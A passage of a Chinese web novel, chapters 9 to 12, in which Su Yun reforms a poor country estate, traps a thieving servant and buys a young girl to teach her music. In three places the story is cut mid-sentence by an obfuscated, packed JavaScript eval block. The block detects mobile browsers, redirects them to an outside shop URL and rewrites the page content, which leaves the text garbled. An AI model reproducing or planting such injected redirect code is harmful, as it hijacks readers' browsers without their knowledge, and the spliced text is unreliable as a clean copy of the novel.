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还得靠你，你要多多注意自己的言行。父亲为你操碎了心，平日对你严厉，却总想着为在朝中你安排一个职位，你不喜读书的路子，也无妨，正在为你谋划一个御林军中的中侯职位，目前还在奔走，此正是关键时节，你切莫闹出什么乱子，让你父亲为难。以后要注意一些，节制一些花销，切莫太过随意。”苏进道：“多谢父亲母亲，日后定当多多注意。只是母亲，儿子是个糊涂人，平日确有一些赊账，可其实并没有这么多，那些签名。。。。。。”侯夫人打断道：“无事，只要以后多多注意即可，花得太多，侯府只怕也堵不住这些窟窿。对了，汀哥最近怎么样？他可是侯府长子长孙，现下侯府唯一的根，你可得小心小心再小心，切不可有丝毫慢怠。”苏进不好再提别的，只得道：“儿子省得的，不敢有丝毫不尽心。” 苏进走后，见屋里并无他人，杨嬷嬷递给夫人一封信，小声道：“这是柳河庄那位写的信，夫人瞧瞧。”夫人拆开看了：“她怎的能写字了？都是虚情假意的连篇废话，也算她费心了，且不必理会。”杨嬷嬷道：“夫人的想法自是好的，也颇有效果，尤其是今日当着侯爷和众人的面讨债，大公子怕是已经废了，老妇人虽是吃斋念佛，这风声也会传到佛堂去。只是大公子若是这么欠账，侯府也是担待不起啊，毕竟还养着一大家子人呢？若是真的捉襟见肘，老夫人和侯爷少不得要埋怨夫人掌家不力，如何是好？” 夫人呷了一口茶道：“我岂不知个中厉害，只是大公子毕竟是嫡出长子，又有儿子傍身，若不把他搞臭，平儿如何能有半分世子希望？只是大公子还没有完全废掉，有机会，还得在汀哥身上下点功夫，让他没有倚仗。至于侯府用度嘛，不是还有柳河庄那位母亲的嫁妆吗？支撑几年必是无碍的，对了，柳河庄那位怎么样了？” 杨嬷嬷道：“前些日子听说掉进了柳河，却不料命大，已经死硬硬，不知怎的又活过来了。”夫人奇道：“却是为何？”杨嬷嬷道：“各种缘由，并不清楚，她自己只说是遇到了龙王。”妇人道：“子不语怪力乱神，鬼神之事，实在难言。不管如何，柳河庄的留不得，如若待她回侯府，问起母亲嫁妆，窟窿拿什么填？” 杨嬷嬷道：“老奴省得，这就去安排。” 9. 第 9 章 9、治理计划 苏云落座，娟儿把账本放在苏云桌上。苏云随手翻了两下，道：“账本繁复，一时也看不完，稍后再看吧。”然后对庄头道：“本小姐虽说在庄子上已经住了几年，但毕竟年纪尚小，且以前并未关注庄子上的事情，说来惭愧，还得请庄头说说。” 庄头心道：给账本不看，怕是小女娃看不懂吧？忙道：“回小姐话，我先大致说一下，有什么问题请小姐问，”苏云颔首：“正该如此。”苏云从庄头介绍中得知：柳河庄是侯府七个庄子中最贫瘠的一个，共有一千三百亩，良田只有一百五十亩，余下的多是坡地。这几年风调雨顺，良田收成约有一千五百七十五担，薄田收成约有三千七百担；庄户共有五十二家，其中大部分是佃农，余下一部分是家奴，共有人口二百零八人。良田是按照六成上交，一千一百担，薄田是五成上交，大致二千二百担。 苏云听得蹙眉，打断了庄头：“如此说来，庄子能留下的是一百担左右，平摊在每个人，一个月不到二十斤，这日子过得可是很紧巴。”庄头道：“小姐所言极是，且不只是交税粮，还要交鸡鸭、猪羊鱼干等物若干，庄户日子的确很难。一年倒有小半年不够粮食，全靠挖野菜充饥。” 苏云看了娟儿一眼，娟儿会意，知道苏云想和庄头单独谈话，于是和管事一起出去了。 苏云道：“张叔请坐，我们细细谈谈。”庄头依言坐下。苏云道：“我知道侯府的这个决定会让你多少有些不快。其实真的没有什么必要。有龙王救命之恩在前，就得完成龙王的嘱托，只是若不能管事，完成嘱托也无从谈起，这个也请庄头谅解。”庄头忙道：“小姐言重了。我本是侯府下人，承蒙侯爷看重，做了管理一庄的庄头，现今既是侯爷有令让小姐管理，在下自是无有不从，请小姐放心。” 苏云淡淡一笑：“难得庄头海量。张叔可以自己思忖一下，本小姐其实也只是一个空头衔，我一个小姑娘，且是侯府小姐，不可能事事抛头露面，身边也没什么人，日后诸多具体事情还得麻烦庄头去安排，我也就在后面出出主意而已，庄头的身份并没有什么实质的改变，这是其一。至于其二嘛，张叔也知道，本小姐到这里，也只是暂居，再过三年，本小姐就会离开柳河庄，到时柳河庄仍由庄头做主；第三点，经过这三年，如若搞得不好，自然是本小姐的全部责任，与张叔并无多大关系。如若搞得不错，自然也少不了庄头的功劳，且若是搞好了，本小姐走后，庄头管理一个富裕庄子，岂不是轻松许多？再加上本小姐在庄子上呆了多年，对庄子自是有很深的感情在，以后若庄头有什么事，找到本小姐，只要能力范围内，本小姐绝不会坐视不管，多少也算是一个助力。庄头你觉得可否是这个道理？” 庄头粗略一想，貌似果然如此，于是心情顿觉松快许多，语气也轻快了不少：“小姐所虑周详，在下狭隘了。以后小姐但有吩咐，在下必全力以赴。” 苏云笑道：“张叔言重，以后我们通力合作，把柳河庄搞好。” 庄头道：“那小姐下一步准备怎么办？”苏云道：“本小姐目前并无完整的规划，只能有个大致想法，说与庄头，请张叔参详一二。”庄头道：“愿闻其详。” 苏云喝了一口茶，缓声道：“侯府的税粮不可减少，且以后可能会越来越多。要想在三年内变得富足，须得因地制宜，先尽可能将庄子上的地用好，不过光靠地里刨食怕是不够的。我跟舅舅商量过，还得一个靠商字。” 庄头道：“庄户都是地里刨食的农户，如何懂得经商之道？且就算经商，须有本钱，庄户都是穷得吃不饱的农人，本钱从何而来？” 苏云道：“这个我自然知晓，我所说经商，并不是那种大宗款项的买卖，也就是让农户在农闲时节，做点增加收入的各种营生，无需多少本钱。农闲时节，我也知道庄户们会去城里打短工，挣点小钱补贴家用，但如果做点小买卖，必然获利更多。至于本钱，庄头不必担心，我已有安排。先选出几个德高望重的农户，由你牵头，组织一个互助会，大家共管。我先存进去三千两，需要本钱的庄户，可自行借贷，至于借贷之人，能不能借，借贷多少，利息几何，何日偿还，需由几位管事共同考察，共同商议。” 庄头想了想，道：“自古买卖有亏有盈，若是盈利，自然什么都好说，若是亏损，却又如何？” 苏云道：“互助会不是搞慈善，授人以鱼，不如授人与渔。若撒钱就能让庄户富足，断不可能，就算富足，也只是一时，不可持续。所以必须为庄户找到一个可长期经营的门道，才能一直维持温饱生活。如果真的亏本，确是经营不善或者其他什么不可抗原因，那就让他另寻门道，再贷款给他，盈利之后再还，若如此还是做不出来，所亏之本，就由互助会承担就是。不过要麻烦互助会的是，一旦贷款出去，需得由互助会理事负责监督，经常查看，确保贷款用在正途上，不可拿去吃喝嫖赌，不务正业。每个理事负责几个项目，应该能够管理过来。” “互助会的三千启动本金，若是亏了，一概由本小姐承担，如若有盈利，盈利达到三千两，本小姐就会抽回本金。” 苏云道：“柳河庄该怎么整治，不知张叔可否有主意？”庄头道：“以前庄户都只管种地，好一点的人家，种点蔬菜，养一些鸡鸭猪羊，并没有什么主意。”苏云道：“我倒是想了一些，请庄头参详。”庄头忙道：“洗耳恭听。” 苏云道：“柳河庄土地比较贫瘠，虽旁边就是柳河，但是土地却每每干旱，还得用人力挑水灌溉，费工费时不说，且产量很低。我看柳河庄的整个地形，北高南低，并不是很陡峭，对于灌溉却是很有利的。若是有一个水车，将柳河水抽到北坡上面，修建一个引水渠，以后的灌溉就解脱了很多劳力，也可以去做别的事情。且至少能提高一两成的产量。只是不知可有人会制作水车？” 庄头道：“水车？并未听说过啊。都知水往低处流，北坡和柳河水面相差好几丈，却又如何能将柳河的水提到北坡上？”苏云这才知道这个世界并无水车一说。于是道：“龙王曾教授于我水车的做法，稍后我画图，还有劳庄头找木工看看。”庄头大惊，有些激动道：“果有此法？岂止是造福柳河庄，那真是功在社稷，利在万民啊。” 苏云笑笑：“庄头谬赞。只是记忆有些模糊，不知能否画得出图纸。”又道：“我看东南面的斜坡上的那块地，大约二三十亩，那里出产几何？”庄头道：“那块地最是贫瘠，所产最少。” 苏云道：“既是如此，莫如不弃种粮食，何不将那块地挖出一个池塘，可以种莲藕，养鱼，还可养鸭，你看可否？”庄头道：“想法是好，只是一则柳河中有鱼，庄户们也时有打鱼的，再者若所交粮食不够，该当如何？养鱼无需太多劳力，那块地的庄户如何安排？” 苏云道：“柳河虽有鱼，但柳河水流湍急，所打之鱼甚少，且多为自家食用或者卖钱，不成气候。池塘需人看管，剩余庄户，可另行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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庄头道：“这些都是庄子上的公差，可是要做义工？”苏云道：“万万不可，虽是公差，却也需庄户出力。俗话说，一分钱一分货，切不可不付报酬。这样吧，可否按照市价给工钱？都住在庄上，就不包吃住了，这笔银子就由我先支应就是，以后互助会积攒多了，也可逐步还给我。”庄头道：“如此甚好。”苏云道：“还有一点张叔需考量，人太多不行，常言道，人多有懒汉。人一多，难免有偷奸耍滑之辈，出工不出力。你们要先规划好，也不要按天付账，先划分好工作量，比如挖鱼塘，应该挖多深，按照土方来计价。水渠就按照长度来算。” 苏云前世是搞管理的，对于布置工作也是得心应手，哪些地方容易出工不出力，门清。 庄头道：“如此最好，不会再有偷懒之辈。”苏云又道：“修渠会用上不少石头，后山上倒是不少，只是后山并非庄子所有，开采石头会不会有什么麻烦？”庄头道：“无主之地，用几块石头，应是无事。”苏云道：“如此甚好，只是怕有后患，你们先做着，我想办法吧。另外有一事请教张叔。”庄头道：“不知何事？”苏云道：“本小姐准备去买几个丫头婆子，我这小院肯定住不下，我看两边都空着，能不能在旁边再盖一个小院？”庄头道：“庄子是侯府的，小姐修几间房屋，自是无碍。”苏云道：“那就请庄头找师傅来，商议怎么修盖。”苏云道：“万事开头难，千头万绪，就拜托张叔了。” 庄头道：“如无别的事，我这就下去安排。” 10. 第 10 章 10、刘老五的悲剧 送走庄头后，王嬷嬷也回来了，苏云想起刘老五，这是侯府夫人扎在柳河庄的一根刺，须得拔出才好，不然这里的一举一动，少不得受到侯府夫人的掣肘，且自己的安全，也是十分堪忧。若不将这根刺拨出，肯定会寝食难安。只是强行将其惩治，没有证据，只怕庄户们不服，侯夫人面前也不好交代。 苏云道：“刘老五是个什么样的人？” 王嬷嬷道：“说起这刘老五，真是柳河庄的一大祸害。他是侯府有身契的奴才，住在庄子东头边上，好吃懒做，耕的是薄田，和柳河庄的庄户们不一样，不喜侍弄农田，倒是喜欢和镇上的一些混混偷鸡摸狗，有一点闲钱就找一帮混混吃喝嫖赌。几年前将媳妇打死了，留下一个儿子小山，今年十三岁，饥一顿饱一顿。只是这小山也学着父亲模样，偷鸡摸狗，也不是什么好东西，从根子上就坏了。” 苏云嬷嬷听着，没有作声。 王嬷嬷继续道：“父子俩本就不喜劳作，一间破茅草屋四处漏风也不管，偷鸡摸狗，好多庄户家都被祸害过，只是损失不大，也就没有声张。父子俩常去镇上鬼混，若不是庄户们时不时接济，只怕早就饿死了。若是直接将其父子驱逐出庄子，小姐也是做得的，只是他的身契都在侯夫人手里，若没个由头，侯夫人面前不好分说。” 苏云问：“正是如此。刘老五今日在庄子上吧？” 王嬷嬷道：“刚送苏贵的时候，见他带着小山正回到庄子，像是出去鬼混了一夜才回来。” 苏云沉思了片刻，道：“如此甚好。我有个主意，你来参详参详。”把主意说出来，王嬷嬷拍手叫好：“主意是不错，只是行动起来，只怕有些凶险，若是伤到小姐，如何是好？” 苏云笑笑：“无妨，小心一些，伤不到我的，你尽管去安排就是。” 王嬷嬷就下去安排，先找到娟儿吩咐了一番，拿了一些零嘴糕点，还带了二两银子出去了。 王嬷嬷又到庄头家里，找庄头婶子叙话，说小姐今日要排练一首曲子，需要用一下铜锣，找庄头婶子借了铜锣去。 又出门去找唐家婶子，一个胖胖的妇人。唐家婶子身壮，家里家外一把手，有点侠气，喜好打抱不平，哪家有事，也愿意帮忙，在庄子里有些名气，很多庄户对她有些怕。 唐家离苏云院子很近，没多久就到了。院门敞开，唐家婶子正在择菜，一旁的大狗大黑被拴在院角落盘躺着，小孙子在院子里自己玩耍。王嬷嬷走进去，大黑见有人进院子，站立起来，正准备叫几声，见是熟人，也就没有叫出声，依旧盘躺下去。见王嬷嬷进来，唐婶子忙起身打招呼：“嬷嬷好久没来了。” 王嬷嬷也笑着回道：“这几日舅老爷来看小姐，小姐院子事忙，抽不得身，今日舅老爷刚走，这不就来看看唐婶子。”一边说笑，也不客气，坐下来一起择菜，一边闲唠嗑。 聊了一阵，王嬷嬷说：“这两日小姐心里有些焦虑，晚上有些睡不着。”唐婶子奇怪道：“小姐莫不是有什么心事？”王嬷嬷道：“可不是，小姐以前懵懵懂懂，不懂世事，自前些日子落水后，倒是一下子就清明起来了。想着龙王爷交代的事情，很是忧心，以致睡不着。”唐婶子道：“真是苦了小姐了。” 王嬷嬷又道：“舅老爷心疼外甥女，给了一些傍身钱，没想到昨夜院子外面好像有点动静，也不知是什么，小院三个都是女人，两个还是小孩子，真不敢出去看，好在一夜无事。” 唐婶子道：“莫不是有歹人？” 王嬷嬷道：“不好说。此番前来，也是想和婶子商量一个事。” 唐婶子道：“嬷嬷请讲。” 王嬷嬷道：“小姐想问问，这几日能否将大黑借给我们小姐看看院子，总不会亏待了大黑。” 唐婶子豪气道：“我道什么大事，无碍，尽管牵去就行了。这几日，我也叮嘱我家汉子，注意着动静，若是有什么意外，只需叫两声，我必赶到。” 王嬷嬷大喜：“如此多谢唐婶子了！” 正好菜也择完了，唐婶子起身，走过去对大黑说道：“大黑，这几日你且跟王嬷嬷去小院住着，切不可偷懒。”说着过去解下绳索，交给王嬷嬷，大黑貌似听懂了，朝唐婶子哼哼。王嬷嬷过去，蹲下来，用手轻抚大黑的狗头，道：“大黑，以后就要靠你了。”大黑眯眯眼，感觉很是享受。 回到苏云小院，王嬷嬷就把大黑拴在院角，然后径直去厨房，把昨晚吃剩的骨头装在一个盆里，再装上一些剩饭，油油的端了出来。苏云想刷大黑的好感，就接过来，亲自端过去，放在在了大黑面前，大黑高兴得一个劲蹦跶，待盆子放好，不管不顾，狂啃起来，一边啃着，一边尾巴不停摇晃。苏云也借机轻轻抚摸大黑的背部，大黑忙着把头陷在盆里，并不排斥，人和狗感情就建立起来了。 不久，娟儿提着一包石子回来了，径自去厨房找了碗，喝了一碗水后才出来。王嬷嬷关上门，问道：“娟儿，小姐吩咐的事情办得怎么样了？”娟儿把小包递给王嬷嬷，道：“办妥了。上午出去，本想找刘小山，见他在河边，和杨家小子四、五个小孩一起捡花石子，我也就凑过去，装作也在找花石子，然后就和杨家小子他们说小姐得了舅老爷好大一笔钱，小姐高兴，就让我出来玩玩。还把糕点分给他们吃。杨家小子问有多少钱？我说我也不知道，就见有一张银票，还有一包碎银子。他们不相信，我就把香囊掏出来，让他们看里面的碎银子，说是小姐赏的，他们这才相信了。” 娟儿继续说：“我偷偷看了刘小山，他在旁边，装作在河边翻找花石子，没有说话。但是我注意到了，听得很是仔细，我拿出银子的时候，他朝这边瞟了好几眼，然后又装作继续找花石子。我又假装叹了一口气，说小姐要庄头伯伯办一个什么互助会，明天就要把银子交给庄头伯伯，还说好可惜。” 王嬷嬷道：“然后呢？” 娟儿道：“然后我又偷偷看了刘小山，他好像怔了怔，跟杨家小子说有事要回家，就匆匆回去了。” 娟儿顿了顿，继续道：“等杨家小子走了不久，我们继续找花石子，吃糕点，没过多久，就看到刘老五带着刘小山，匆匆来到河边，找何爷爷坐船出去了。” 王嬷嬷说道：“然后你就回来了？” 娟儿一个劲点头：“嗯嗯。” 苏云一直在听着，这才开口道：“娟儿做得很好，厨房还有一盘绿豆糕，是你的了。”娟儿高兴的跑去拿绿豆糕去了。 王嬷嬷递出小袋子，道：“小姐料事如神，现在就看刘老五什么时候回来，有没有陌生人到庄子上来了。” 苏云结果，见里面都是鹅卵石，点头道：“今晚打起精神，睡觉不要脱衣服，准备两个火把，就不用告诉娟儿了，免得吓着她。晚一点去河边不显眼的地方盯着，看看刘老五什么时候回来。” 果然，快要到晚饭时，刘老五就带着儿子回到了庄子，好像还提了一个小包。 苏云听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205740|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了汇报后，道：“只有他父子回来，恐怕还不够，像是为了不引起大家注意，另外的人应该会晚点到，或许还要走别的路到庄上，万一没有成功，也不会影响到刘老五。” 顿了一下，苏云又道：“你一会儿去刘老五家旁边蹲着，不要被他发现，如果有人找他，就回来告诉我。先去弄饭吧，吃饱了才有力气！” 匆匆吃过饭，王嬷嬷就出去了，苏云见娟儿在逗弄大黑，心想，大黑，这次就靠你了。 快到戌时，王嬷嬷回来了，苏云道：“嬷嬷，，情况怎样？” 王嬷嬷道：“正如小姐所料，天色黑了之后，就有三个人悄悄进了刘老五家，看起来很是小心。” 苏云道：“这就是了，你去请张叔过来一下。”王嬷嬷应声出门。 不一会，庄头过来，见过礼，苏云道：“大晚上把张叔请来，很是惶恐。”庄头道：“小姐客气，有何吩咐，请尽管说。” 苏云就把大致情况说了，庄头很是气恼道：“这个刘老五，竟敢勾结外人偷盗主家，我这就着人去拿他！” 苏云道：“张叔且少待，若是现在拿他，并无实证，没法处理，不若早做准备，等他们动手，一并拿下，到时候人赃俱获，谅他也无话可说。” 庄头道：“小姐说的是，那小姐有何打算？” 苏云道：“只需找十来个精壮，拿着棍棒，在周围人家原地静待，守株待兔即可。切不可声张，以免打草惊蛇。” 庄头道：“甚好，这就安排去。” 苏云道：“嬷嬷，你把娟儿带到张叔家去，免得惊吓了她。完事后再去接她回来。” 苏云和王嬷嬷就呆在外院屋里，熄了灯，和衣半躺着，耳朵一直注意着外面的动静，不敢睡去。王嬷嬷更是焦急，来回走动，时不时趴在门缝往外瞧，苏云也不管他。果然，到了亥时许，就听到外面似乎有动静，两人赶紧坐了起来，贴着门缝朝外看去，外面很黑，很是模糊，看不清楚，似乎院墙上面有人影在晃动。接着听见大黑开始有点躁动，接着开始汪汪狂叫。苏云急道：“点火把。敲锣！”王嬷嬷紧张得发抖，点了几下，才算把火把点燃，一下子亮堂起来，然后敲响铜锣，高声叫嚷：“有强盗，抓强盗！” 与此同时，苏云抓起桌上的一把鹅卵石，猛地将房门打开，火把照映之下，果见有三个蒙面人在院中，大黑正和一个蒙面人撕扯，其余两个也在帮忙，听到锣声，着实吓了一跳。还没有反应过来，苏云随手就是一颗鹅卵石掷出，正中一个黑衣人的左腿，那人痛得大叫一声，另一个见势不妙，反身就要爬墙，苏云又是一颗鹅卵石，正中那人右肩，痛得也是大叫一声，跌将下来，这时，外面亮起好多火把，听得庄头的声音高喊：“莫要走了贼人！”接着院门被撞开，一群人冲进院中，将三个黑衣人捉住。只见庄头带着一群人，押了两个蒙面人进来，五个人被压着跪在地上，瑟瑟发抖。庄头让人扯下了几人的面巾，原来真有刘老五和刘小山，其余几个，就是镇上的混混，很多人都认得。 庄头怒道：“刘老五，竟敢半夜到主家偷窃，我看你是活到头了！”刘老五瑟瑟发抖，却无话可说。 庄头转身问苏云：“小姐，怎么处理这些贼子？” 孙云看了看刘老五，淡淡道：“王嬷嬷，奴仆行劫主家，按律该当如何？”王嬷嬷道：“按律当斩，亦可发卖！”孙云道：“既如此，刘老五就杖责五十，刘小山杖责二十，先关起来，等天明和其余人等一起送官！” 11. 第 11 章 11、梁家二妞 翌日，苏云照常早起锻炼，练习投石，她让王嬷嬷在院子里不同方向立了三块靶子，最开始瞄准一块靶子练习投石，准头越来越厉害，靶子都被打坏了，于是重新做了一个。现在她基本能够随手掷出石子，就能击中靶心。于是开始练习两个靶子不同方向的连续投掷，最开始只能击中一个，另一个时中时不中，到后来形成肌肉记忆，两个靶子也是百发百中。现在开始练习三个靶子的连续投掷，第三个也快百发百中了，力道虽比原来大了一些，只是还是感觉力道仍是不够。 吃过早饭刚坐下，弹了一曲《茉莉花》之后，庄头和管事求见，苏云请他们进来，苏云打心底就没有什么尊卑之分，请他们坐定之后。庄头道：“小姐安排的几件事，属下都已照办，木匠师傅和泥水匠师傅估计明日就可以到。”苏云道：“有劳庄头了。” 庄头又道：“分所应当。还有一事，互助会管事经过大家讨论，推选了十个备选名单，请小姐定夺。”说着，递上名单，王嬷嬷眼快，接过名单，递给了苏云。苏云在柳河庄生活了几年，对庄子上的人员大致也有个了解，看了名单之后，觉得基本符合预期，于是道：“名单上的人选是不错的，只是管事不宜太多，且要单数最好。本小姐的意思，加上你七个比较合适。若有事不能决定，最终就按照投票来裁定，多数即可通过，但愿管事们都能秉公而断，不可偏私。到时你们需拿出一个互助会的章程来。至于具体哪七个，就由你们裁定，本小姐就不参与了。”庄头应允而去。 苏云又坐下来随便弹了两曲，娟儿从门口带了一个小女孩进来。苏云一看，小女孩六七岁的样子，眉目清秀，衣衫破旧，好几个补丁，头发也显得比较脏，苏云认得，是梁家的二闺女，都叫她梁二妞，并无大名。小女孩神情局促的站在娟儿身后，怯怯的看着苏云，屋里的陈设虽显破旧，在小女孩的眼里，却也是高不可攀的存在。苏云看得心里一阵发酸，忙示意小女孩不要怕，又让娟儿拿了块点心给她，只见她畏畏缩缩，轻轻咬了一口糕点，瞬间眼睛放光，接着又咬了一大口，然后几口吃完，有些急了，有点打嗝。苏云笑笑，忙叫娟儿端了茶，小女孩喝了之后，才平静下来。 苏云这才笑着问：“二妞怎么到我家里来了？你是有什么事吗？”二妞懦懦道：“我在外面听小姐弹琴，不知不觉就走进了院子，娟儿姐姐就带我进来了。求小姐不要怪我。”苏云笑道：“没事的，别怕，我不怪你。你喜欢弹琴？”二妞道：“喜欢，小姐弹得特别好听。”苏云道：“那你来试试？”二妞吓得连连摆手：“不行啊，我脏。”苏云道：“没事，来吧。”二妞眼光灼灼，盯着古琴道：“真的可以吗？” 苏云站起来，笑着向她招手，二妞这才慢慢走过去，看到古琴的时候，双眼发直，怯生生的伸出手，抚摸了一下古琴，又拨了一下琴弦，发出悦耳的琴声。听到琴声，二妞心中惊喜，眼睛不由自主变得异常有光芒。 苏云见状，知道这个小女孩对音乐很是热爱，就耐心教了她一下基本的指法，没想到二妞居然一学就会，甚至还有点像模像样，比前世自己最初学得快多了。苏云又道：“你会唱歌吗？唱几句好吗？”二妞稍微放开了一些：“唱什么呢？我都不会。”苏云想了想：“要不跟我唱两句。”于是唱了两句，让二妞学着唱。二妞开口跟着唱，声音清丽，乐感很好，音准也相当不错。“天才音乐家啊！不学音乐，太可惜了。”苏云暗道。起了爱才之心，便问：“二妞，你想不想学琴唱歌？” 二妞不可置信，眼睛放光得盯着苏云，使劲点点头，但是瞬间眼中光芒便消失了，低头轻轻说：“阿爹肯定不同意的，我每天都要去捡柴，挖野菜，喂鸡，还要照看弟弟。”苏云道：“这些你先不用管，我只问你自己想不想学呢？”二妞坚定道：“想学，特别想学。不过我很笨，怕学不会。”苏云道：“谁说你笨啊？我才不愿不教笨小孩呢。这样，你先回家去，叫你父母过来找我吧。”又叫娟儿给了两块糕点，二妞舍不得吃，拿着糕点快活的跑回家去了。 梁有田夫妇收工回家，听二妞说小姐有请，忙放下农具，将儿子托给大女儿，就带着二妞赶紧来到小院。苏云知道，梁有田憨厚老实，有田媳妇却颇会算计，不过苏云也理解，穷苦人家，若不精打细算，只怕撑不到现在。 苏云道：“我这小院人太少，有些冷清，还想要一个丫鬟，今个儿见到你家二妞还算伶俐，也挺投缘，有心收她做丫鬟，不知二位意下如何？”梁有田一脸憨厚，正想回答，却被有田媳妇瞪了一眼，不敢说话。 有田媳妇笑了笑，道：“小姐有心，高看我家二妞了，若能跟着小姐，我夫妻二人自是千万个愿意。只是现在家里活计多，二妞也能做不少事，她若走了，好多事不知交给谁。”苏云岂不知她的小算盘，梁有田看起来敦厚老实，但有田媳妇却不是省油的灯,也是有点怵她以后没完没了，便道：“二妞下午来过，我和她甚是有缘，只是你们家里这个状况，我也不能夺人之好。既是如此，那就当我没说吧。”二妞听了，神色黯然。 梁有田家里是耕的薄田，收获不多，每年的口粮很是紧张，到了年末，往往靠野菜充饥，能够送一张嘴出去，其实是巴不得的。之所以这么说，无非是想多要一些好处。一听苏云这么说，有田媳妇心里不免有些发慌，忙道：“家里虽然事多，但好在还有大妞也可帮忙，小姐看得上二妞，也是她的福气。” 苏云心里暗笑，本来是想让二妞来学琴的，并不需要二妞卖身的，现在倒是改变了主意，想绝掉后患，免得以后牵扯不清。于是笑道：“有田婶子既如此说，是愿意了？”见有田媳妇不言语，便直截了当：“若有田婶子有意，我便出十五两银子买二妞的身契，不知婶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205741|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子意下如何？”按照现在市价，像二妞这种小女孩，年龄太小，做不了什么事，八两银子也就够了。梁有田虽然有些不舍，但心里也是愿意的，本想应承下来，看看媳妇，却又不敢吱声。 有田媳妇看出苏云真的喜欢二妞，却还想多要些，仍默默不做声。苏云心里有些不悦，但还是说道：“这样吧，我与二妞有缘，就二十两买她的身契，有田婶子如果觉得可行，我们就签契约，如果实在为难，那就请回吧。”有田媳妇见苏云有些不高兴了，再加上这个身价的确远远超出她的预期，于是忙道：“心里自是不舍得，哪个父母不心疼自己的孩子？既是小姐不嫌她的蠢笨，也是她的福气。跟着小姐，断不会愁吃穿，家里饥一顿饱一顿实在是比不得，她这是掉进福窝里了。”苏云问二妞：“你可愿意？”二妞年纪虽小，却也知道卖身是怎么回事，但想着跟着苏云，苏云和蔼，不会苛待下人，只怕以后不会再饿肚子，看娟儿身上的衣服和首饰，说不定以后自己也可以穿。便狠狠点头道：“愿意服侍小姐。”苏云对有田夫妇道：“既如此，劳驾你们请庄头过来，我们立契约吧。” 梁有田跑着请来了庄头，很快就签订了契约。苏云道：“虽是签订了契约，有田婶子毕竟还要在庄子里住着，我们对外就说二妞只是我雇来当丫鬟的，你们看如何？”庄头立马领悟点头，心下有些感动。如果大家知道有田婶子是把女儿卖了，估计免不了会被人指指点点。如果是只说是雇佣的，那就没什么问题了。苏云这般为人考虑周全，的确很是难得。有田婶子也醒悟过来，忙和梁有田一起躬身致谢。 庄头和梁有田夫妇欢天喜地走了后，娟儿带二妞去洗浴，然后把自己以前的衣服给她穿上。当二妞出现在苏云面前，苏云眼前一亮，没想到二妞平时脸上脏兮兮的，稍加打扮，虽有点瘦，却显得很是明艳，妥妥的一个美人坯子。二妞看这自己身上的衣服，几乎不敢相信是真的，乐得有些傻乎乎的，连话都不会说了。 王嬷嬷会心一笑道：“二妞一打扮，没想到这么水灵，想来以后长大，不知是怎样一个美人呢。”说得二妞更加扭捏。娟儿端上饭菜，四人一起用餐，二妞看到居然有肉有菜，先是怯怯不敢夹菜，苏云劝了几句，也就不再羞怯，大口吃了起来。苏云看得心酸，王嬷嬷则看得直皱眉头，轻斥：“慢点，没人跟你抢。” 苏云示意王嬷嬷别管，道：“二妞，你是个女孩子，二妞不能当成大名的，还是取个名字吧。”二妞满面带笑，口角的肉渣都在往下掉：“好啊，好啊，请小姐给我取个名字吧。”苏云道：“你的声音很好听，唱歌像黄莺啼叫，要不就叫你梁莺，平时叫你莺儿可好？”二妞笑道：“梁莺，好听，我就叫莺儿，和娟儿姐姐一样都是儿。”看着梁莺没心没肺的样子，众皆笑作一团。 当晚二妞就留在了小院里面，以后日子还长，自有王嬷嬷调教。 12. 第 12 章 12、繁忙的柳河庄 庄头按照苏云的规划，带领互助会的管事们开始行动起来，首先是鱼塘的大工程，组织人手，按照苏云的方法，确定鱼塘深度，然后分工到人，按照每人挖掘的土方来计算报酬，工地上忙忙碌碌，却不见有一个偷懒的。 柳河边上，木匠工人在测量河水和坡岸的高度，计算水车需要多少高度。确定后，也再测算水渠的高度和走向，忙着记录，画线，也是一片忙碌。 苏云的小院旁边，建筑张师傅带着徒弟按照苏云给的图纸在丈量土地，苏云的小院是两进，在前院两侧开出了两道门，然后再修建两个院子，院子也是两进，东边的院子前面给下人住，后面则作为作坊先空着。西边的院子大抵也是这样设计，只是主要作为库房和作坊用，因此住房较少一些，而里面的库房和作坊比较大。院子本就是给下人住的，每间房都是两间的套间，也有个小厨房，设计也比较简单，重在实用，只是青砖瓦房，在庄子上也是颇为显眼的。 苏云则每天呆在家里，教梁莺弹琴、识字，把娟儿也叫上。梁莺悟性高，比娟儿领悟快，很快认识不少字，气得娟儿常常嘟着个小嘴。偶尔也带着三人出去转转，看看各个工地的情况，遇到有什么新的问题，当场跟庄头或者管事的解决。就这样，日子也过得挺快。 